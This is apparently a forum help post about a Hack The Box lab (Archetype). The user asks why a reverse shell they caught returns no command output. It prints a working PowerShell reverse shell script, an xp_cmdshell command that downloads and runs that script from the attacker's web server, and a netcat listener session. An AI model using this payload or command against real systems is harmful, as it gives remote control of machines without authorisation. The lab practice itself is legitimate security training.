Starting Point - Archetype - Reverse Shell Problem

I create the reverse shell payload as given, open an http server on port 80
Try to get the pay load at victim machine via impacket-mssqlclient
i recive the call back at 443 from 10.10.10.27 and connected
Not able to send commands and recive the result, what may be the problem?

─$ lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2020.4
Codename: kali-rolling

└─$ ip -4 a show tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
inet 10.10.14.187/23 brd 10.10.15.255 scope global noprefixroute tun0
valid_lft forever preferred_lft forever

─$ cat shell.ps1
$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.187”,443);$stream =$client.GetStream();[byte]$bytes = 0…65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |Out-String );$sendback2 = $sendback + "# ";$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …
10.10.10.27 - - [13/Feb/2021 11:48:59] “GET /shell.ps1 HTTP/1.1” 200 -

SQL> enable_xp_cmdshell
[] INFO(ARCHETYPE): Line 185: Configuration option ‘show advanced options’ changed from 1 to 1. Run the RECONFIGURE statement to install.
[
] INFO(ARCHETYPE): Line 185: Configuration option ‘xp_cmdshell’ changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
SQL> xp_cmdshell whoami
output


archetype\sql_svc

NULL

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.187/shell.ps1\“);”

└─$ systemctl status ufw 1 ⨯
Unit ufw.service could not be found.

└─$ sudo nc -nlvp 443 4 ⨯
[sudo] password for kali:
listening on [any] 443 …
connect to [10.10.14.187] from (UNKNOWN) [10.10.10.27] 49742

whoami

pwd